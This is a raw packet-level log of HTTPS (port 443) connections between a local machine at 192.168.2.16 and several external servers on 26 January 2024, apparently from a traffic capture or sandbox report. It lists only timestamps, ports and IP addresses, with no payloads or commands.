Jan 26, 2024 10:18:07.736546040 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.736582994 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.736605883 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.777823925 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.777858973 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.777970076 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.777970076 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.777992010 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.778048038 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.794102907 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.794179916 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.827166080 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.827203989 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.827258110 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.827322960 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.827359915 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.827382088 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.842401028 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.842508078 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.863694906 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.863734961 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.863912106 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.863912106 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.863971949 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.864037991 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.884592056 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.884624958 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.884674072 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.884695053 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.884743929 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.884743929 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.894159079 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.894239902 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.915066957 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.915096045 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.915165901 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.915230036 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.915273905 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.915273905 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.924823999 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.924904108 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.947081089 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.947120905 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.947287083 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.947287083 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.947349072 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.947402954 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.967015028 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.967022896 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.967221975 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.967282057 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.967346907 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.975776911 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.975856066 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.992862940 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.992897987 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.992950916 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.992966890 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:07.993000031 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:07.993020058 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.000981092 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.001079082 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.016211987 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.016237974 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.016284943 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.016298056 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.016331911 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.016350985 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.020931005 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.020956993 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.021029949 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.021800995 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.021811962 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.027298927 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.027319908 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.027364969 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.027376890 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.027406931 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.027426004 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.032598972 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.032695055 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.044405937 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.044428110 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.044495106 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.044506073 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.044538021 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.044557095 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.049221992 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.049294949 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.059402943 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.059423923 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.059497118 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.059509039 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.059581995 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061033010 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.061100006 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061110020 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.061135054 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.061172009 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061172962 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061667919 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061667919 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.061698914 CET	443	49766	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.061757088 CET	49766	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.065330982 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.065388918 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.066620111 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.066637993 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.066792965 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.066797972 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.075270891 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.075351954 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.075434923 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.076122999 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.076155901 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.379736900 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.379800081 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.380146027 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.380168915 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.380281925 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.380294085 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.485462904 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.485536098 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.486084938 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.486095905 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.486298084 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.486304998 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.486511946 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.486516953 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.686311007 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.686336040 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.686347008 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.686405897 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.686415911 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.686458111 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.686527967 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.687392950 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.687422991 CET	443	49769	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.687472105 CET	49769	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.689660072 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.689688921 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.689800978 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.690169096 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.690177917 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.699630976 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.699691057 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.699693918 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.699853897 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.703629971 CET	49767	443	192.168.2.16	20.187.64.58
Jan 26, 2024 10:18:08.703650951 CET	443	49767	20.187.64.58	192.168.2.16
Jan 26, 2024 10:18:08.706338882 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:08.706372023 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:08.706506014 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:08.706830025 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:08.706840992 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:08.990691900 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.990781069 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.991607904 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.991607904 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.991628885 CET	443	49768	13.89.179.11	192.168.2.16
Jan 26, 2024 10:18:08.991656065 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.991856098 CET	49768	443	192.168.2.16	13.89.179.11
Jan 26, 2024 10:18:08.994379997 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.994558096 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.996263027 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.996263027 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:08.996269941 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.996282101 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.996504068 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:08.996717930 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.068697929 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.068875074 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.069343090 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.069356918 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.069529057 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.069538116 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.188720942 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.188817024 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.188852072 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.191982985 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.191982985 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.293385029 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.293411970 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.293550968 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.293584108 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.293658972 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.296015978 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.296065092 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.296288013 CET	49770	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.296308994 CET	443	49770	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.296344042 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.296344042 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.296371937 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.504883051 CET	49771	443	192.168.2.16	204.79.197.222
Jan 26, 2024 10:18:09.504909992 CET	443	49771	204.79.197.222	192.168.2.16
Jan 26, 2024 10:18:09.601857901 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.602294922 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.602561951 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.602561951 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.602579117 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.602593899 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.908484936 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.908514977 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.908545017 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.908544064 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.908565998 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.908592939 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.908639908 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921324968 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.921382904 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921396017 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.921411991 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.921442986 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921467066 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921530008 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921546936 CET	443	49772	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.921556950 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.921600103 CET	49772	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.923602104 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.923644066 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:09.923716068 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.924144030 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:09.924156904 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.160101891 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.160145998 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.160223007 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.160640955 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.160659075 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.229573965 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.229682922 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.230132103 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.230140924 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.230325937 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.230329990 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.374933004 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.375317097 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.375329018 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.375861883 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.376251936 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.376332998 CET	443	49774	64.233.185.99	192.168.2.16
Jan 26, 2024 10:18:10.430622101 CET	49774	443	192.168.2.16	64.233.185.99
Jan 26, 2024 10:18:10.535479069 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.535556078 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.535577059 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.535624981 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.548662901 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.548680067 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.548739910 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.548752069 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.548794031 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.548819065 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.548839092 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.694405079 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.694510937 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.694535017 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.696897984 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.740168095 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.740206003 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.740257025 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.740288973 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.740309954 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.740339041 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.746602058 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.746680021 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.746705055 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.746723890 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.746736050 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.746743917 CET	443	49773	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.746756077 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.746788025 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.748634100 CET	49773	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.748635054 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.748670101 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:10.750000000 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.750191927 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:10.750204086 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.055068016 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.055872917 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.055872917 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.055902958 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.058768988 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.058789968 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.354949951 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.354989052 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.355021954 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.355122089 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.355122089 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.355134964 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.356398106 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.356398106 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.361378908 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.361469984 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.361617088 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.361865997 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.361915112 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.657727003 CET	49775	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.657753944 CET	443	49775	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.667823076 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.670414925 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.670416117 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.670454025 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.673664093 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:11.673677921 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:11.955796003 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:11.955836058 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:11.955908060 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:11.956087112 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:11.956104994 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.135893106 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.136020899 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.136053085 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.136099100 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.148843050 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.148855925 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.148886919 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.148947001 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.148957014 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.148988962 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.149010897 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.269146919 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.269278049 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.269814014 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.269841909 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.269994974 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.270009041 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.270230055 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.270256042 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.270422935 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.270453930 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.279695034 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.279723883 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.294797897 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.295018911 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.295080900 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.295146942 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.340670109 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.340703964 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.340797901 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.340872049 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.340914011 CET	49776	443	192.168.2.16	173.222.162.7
